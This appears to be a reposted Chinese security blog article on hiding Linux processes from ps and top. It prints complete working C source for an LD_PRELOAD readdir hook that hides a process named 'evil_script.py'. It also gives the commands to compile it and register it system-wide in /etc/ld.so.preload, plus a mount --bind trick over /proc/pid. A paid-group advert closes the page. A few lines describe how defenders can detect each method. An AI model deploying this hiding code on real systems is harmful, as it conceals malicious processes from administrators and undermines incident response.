Linux 进程隐藏:中级隐藏篇

admin 2024年11月12日13:19:55评论65 views字数 6339阅读21分7秒阅读模式

/ Linux 进程隐藏:中级隐藏篇 /

前言

上篇介绍了如何在有源码的情况下,通过argv[]prctl对进程名及参数进行修改,整篇围绕/proc/pid/目录和 ps、top 命令进行分析,做到了初步隐藏,即修改了 /proc/pid/stat/proc/pid/status/proc/pid/cmdline 这些文件的信息,使得 ps、top 命令显示了虚假的进程信息;但是还存在一些缺点

Linux 进程隐藏:中级隐藏篇

1.ps、top命令还是显示了真实的pid2./proc/pid 目录依然存在,/proc/pid/exe及/proc/pid/cwd文件依然暴露了可执行文件的真实路径及名称

所以,为了解决以上缺陷,本篇将介绍以下几种方式对进程进行隐藏

1.应用层下hook函数调用2.挂载覆盖/proc/pid目录

PS/TOP 命令工作原理

我们可以使用 strace 命令来了解 PS/TOP 命令的工作原理,strace 命令是一个常用的代码调试工具,它可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。

实验系统版本为 ubuntu18 内核版本 Linux ubuntu 5.3.0-28-generic

命令strace ps部分显示结果

stat("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6read(6, "1 (systemd) S 0 1 1 0 -1 4194560"..., 1024) = 328close(6)                                = 0openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6read(6, "Name:tsystemdnUmask:t0000nState:"..., 1024) = 1024read(6, "00000000,00000000,00000000,00000"..., 1024) = 311close(6)                                = 0stat("/proc/2", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6read(6, "2 (kthreadd) S 0 0 0 0 -1 212998"..., 2048) = 150close(6)                                = 0openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6read(6, "Name:tkthreaddnUmask:t0000nState"..., 2048) = 978close(6)                                = 0stat("/proc/3", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6read(6, "3 (rcu_gp) I 2 0 0 0 -1 69238880"..., 2048) = 151close(6)                                = 0openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6read(6, "Name:trcu_gpnUmask:t0000nState:t"..., 2048) = 969close(6)                                = 0

命令strace top部分显示结果

openat(AT_FDCWD, "/proc/11433/statm", O_RDONLY) = 9read(9, "4679 473 371 263 0 127 0n", 2048) = 25close(9)                                = 0openat(AT_FDCWD, "/proc/11433/status", O_RDONLY) = 9read(9, "Name:tstracenUmask:t0022nState:t"..., 2048) = 1362close(9)                                = 0stat("/proc/11435", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0openat(AT_FDCWD, "/proc/11435/stat", O_RDONLY) = 9read(9, "11435 (top) R 11433 11433 3407 3"..., 2048) = 322close(9)                                = 0openat(AT_FDCWD, "/proc/11435/statm", O_RDONLY) = 9read(9, "12866 1077 851 25 0 378 0n", 2048) = 26close(9)       

从上面的结果我们可以看出,ps/top 命令就是在不断的读取/proc/pid 下的文件信息,再显示出来给我看;

一般先调用 stat()确认文件状态,再调用 openat()打开文件句柄,然后 read()读取内容,最后 close()关闭;不断重复这一系列动作从而获取进程信息;

当然这些都是系统调用,并不是 ps 源码中直接调用的,ps 源码直接调用的函数其实是opendir以及readdir,readdir 内部再进行以上这些系统调用。

top 命令的原理与 ps 类似,这里不多介绍,下面进入正题

一、应用层下 hook 函数调用实现隐藏

我们这里所要 hook 的对象当然就是readdir函数了

这里有两个问题:

1.readdir 函数在哪?

2.如何 hook?

[readdir][https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html]在头文件

[dirent.h](https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/dirent.h.html)中声明

头文件:#include <sys/types.h>       #include <dirent.h>定义:struct dirent * readdir(DIR * dir);函数说明:readdir()返回参数dir 目录流的下个目录进入点。结构dirent 定义如下:struct dirent{    ino_t d_ino; //d_ino 此目录进入点的inode    ff_t d_off; //d_off 目录文件开头至此目录进入点的位移    signed short int d_reclen; //d_reclen _name 的长度, 不包含NULL 字符    unsigned char d_type; //d_type d_name 所指的文件类型 d_name 文件名    har d_name[256];};返回值:成功则返回下个目录进入点. 有错误发生或读取到目录文件尾则返回NULL.

如何 hook?

我们这里使用的是 ld_preload 技术,关于此技术可以看我另一篇[文章][https://www.freebuf.com/articles/system/247462.html],这里不多介绍 ( https://www.freebuf.com/articles/system/247462.html],这里不多介绍 )

接下来我们正式编写 hook 函数,先以伪代码进行介绍

#define _GNU_SOURCE#include <stdio.h>#include <dlfcn.h>#include <dirent.h>#include <string.h>#include <unistd.h>/* 这里声明一个函数指针,用来存储readdir函数原始调用 */static struct dirent* (*original_readdir)(DIR*) = NULL;/* 这里是我们伪造的readdir函数,由于我们的so库最早被调用,所以ps程序调用readdir函数时也就调用了我们的同名函数*/struct dirent* readdir(DIR *dirp)                                       {       /* 使用dlsym函数获取readdir真正的入口 */    if(original_readdir == NULL)                                          original_readdir = dlsym(RTLD_NEXT, readdir);                                                                                                                                                       struct dirent* dir;                                                   /* 这里循环调用原始readdir函数 */    while(1)                                                                {                                                                           dir = original_readdir(dirp);      // 判断是否为特定的进程名      process_name = get_process_name(dir);        if(process_name=="123456"){          //是,则继续循环,这样就相当于跳过了特定的进程,不打印信息          continue;        }           break;                                                              }                                                                       return dir;                                                         }

整个流程非常简单,这里引用一段完整的代码:[github][https://github.com/gianlucaborello/libprocesshider ( https://github.com/gianlucaborello/libprocesshider )]

修改 process_to_filter 变量为要隐藏的进程即可

#define _GNU_SOURCE#include <stdio.h>#include <dlfcn.h>#include <dirent.h>#include <string.h>#include <unistd.h>/* * Every process with this name will be excluded */static const char* process_to_filter = "evil_script.py";/* * Get a directory name given a DIR* handle */static int get_dir_name(DIR* dirp, char* buf, size_t size){    int fd = dirfd(dirp);    if(fd == -1) {        return 0;    }    char tmp[64];    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);    ssize_t ret = readlink(tmp, buf, size);    if(ret == -1) {        return 0;    }    buf[ret] = 0;    return 1;}/* * Get a process name given its pid */static int get_process_name(char* pid, char* buf){    if(strspn(pid, "0123456789") != strlen(pid)) {        return 0;    }    char tmp[256];    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);    FILE* f = fopen(tmp, "r");    if(f == NULL) {        return 0;    }    if(fgets(tmp, sizeof(tmp), f) == NULL) {        fclose(f);        return 0;    }    fclose(f);    int unused;    sscanf(tmp, "%d (%[^)]s", &unused, buf);    return 1;}#define DECLARE_READDIR(dirent, readdir)                                static struct dirent* (*original_##readdir)(DIR*) = NULL;               struct dirent* readdir(DIR *dirp)                                       {                                                                           if(original_##readdir == NULL) {                                            original_##readdir = dlsym(RTLD_NEXT, #readdir);                       if(original_##readdir == NULL)                                          {                                                                           fprintf(stderr, "Error in dlsym: %sn", dlerror());                 }                                                                   }                                                                       struct dirent* dir;                                                     while(1)                                                                {                                                                           dir = original_##readdir(dirp);                                         if(dir) {                                                                   char dir_name[256];                                                     char process_name[256];                                                 if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&                        strcmp(dir_name, "/proc") == 0 &&                                       get_process_name(dir->d_name, process_name) &&                          strcmp(process_name, process_to_filter) == 0) {                         continue;                                                           }                                                                   }                                                                       break;                                                              }                                                                       return dir;                                                         }DECLARE_READDIR(dirent64, readdir64);DECLARE_READDIR(dirent, readdir);

以上代码非常巧妙的运用了宏定义函数以及#号的用法,使得少了很多代码量,同时定义了 64 位版本的 readdir64 以及 readdir 函数。

编译成动态链接库测试# ( https://www.cnblogs.com/reuodut/articles/13718795.html#1040424531 )

$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl$ mv libprocesshider.so /usr/local/lib/$ echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

这样一来,ps top 命令就找不到进程的任何踪迹了!

优缺点

优点:相较于通过argv[]prctl对进程名及参数进行修改,这种方法彻底隐藏了 ps、top 中进程的信息,看不到 pid

缺点:proc 目录下还是会存在我们进程的 pid 目录

二、挂载覆盖/proc/pid 目录

利用 mount —bind 将另外一个目录挂载覆盖至/proc/目录下指定进程 ID 的目录,我们知道 ps、top 等工具会读取/proc 目录下获取进程信息,如果将进程 ID 的目录信息覆盖,则原来的进程信息将从 ps 的输出结果中隐匿。

例如隐藏进程 id 为 42 的进程信息:

mount -o bind /empty/dir /proc/42

优缺点:

缺点比较明显

cat /proc/pid/mountinfo 或者 cat /proc/mounts 即可知道是否有利用 mount —bind 将其他目录或文件挂载至/proc 下的进程目录

三、总结

hook readdir 函数的方法的确可以完全隐藏掉 ps/top 下的进程信息,隐蔽性还是不够,如果结合argv[]prctl一起使用,也还有明显的缺点:

1、存在proc/pid目录,防御方利用别的方法遍历一下pid,与ps进行对比即可知道哪些是隐藏进程2、/proc/pid/exe 以及 /proc/pid/cwd文件依然暴露了可执行文件的真实路径及名称

Linux 进程隐藏-高级隐藏篇将会进一步介绍更加高级的进程隐藏技术------在内核中对进程进行彻底隐藏。

3

Linux 进程隐藏:中级隐藏篇

帮会双十一活动来啦,活动仅剩3

帮会领域:专注于 APT 框架、渗透测试、红蓝对抗等领

帮会内容覆盖

  1. 挖洞技巧和小 tips

  2. 挖洞实战项目案例内部分享

  3. 应急响应案例内部分享

  4. 不定时分享高质量小工具

  5. 可加入内部群进行攻防技术交流

  6. 团队内部师傅开发的小工具,优先体验新版本,还可和师傅提出 bug 获得奖励哦

  7. 有机会进入团队,成为正式成员,获得更多好处

  8. 私域信息安全图书馆

Linux 进程隐藏:中级隐藏篇

Linux 进程隐藏:中级隐藏篇

活动价格:15/月卡、39.9/季卡

9.9/月 20/季 79/永久

活动结束后将恢复原价

帮会私域信安图书馆

建立信息安全图书馆也有一段时间了,为大家准备了大量的资料,想学的时候,翻开那些你感兴趣的领域的资料看一看只要你需要,我们会尽可能的帮你寻找你感兴趣或者需要的资料。

Linux 进程隐藏:中级隐藏篇

Linux 进程隐藏:中级隐藏篇

Linux 进程隐藏:中级隐藏篇

Linux 进程隐藏:中级隐藏篇

Linux 进程隐藏:中级隐藏篇

应急响应4

持久化1

应急响应 · 目录

上一篇【刻刀】蓝队Linux应急工具-司稽5.0.2更新

原文始发于微信公众号(Eonian Sharp):Linux 进程隐藏:中级隐藏篇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月12日13:19:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux 进程隐藏:中级隐藏篇https://cn-sec.com/archives/3388159.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息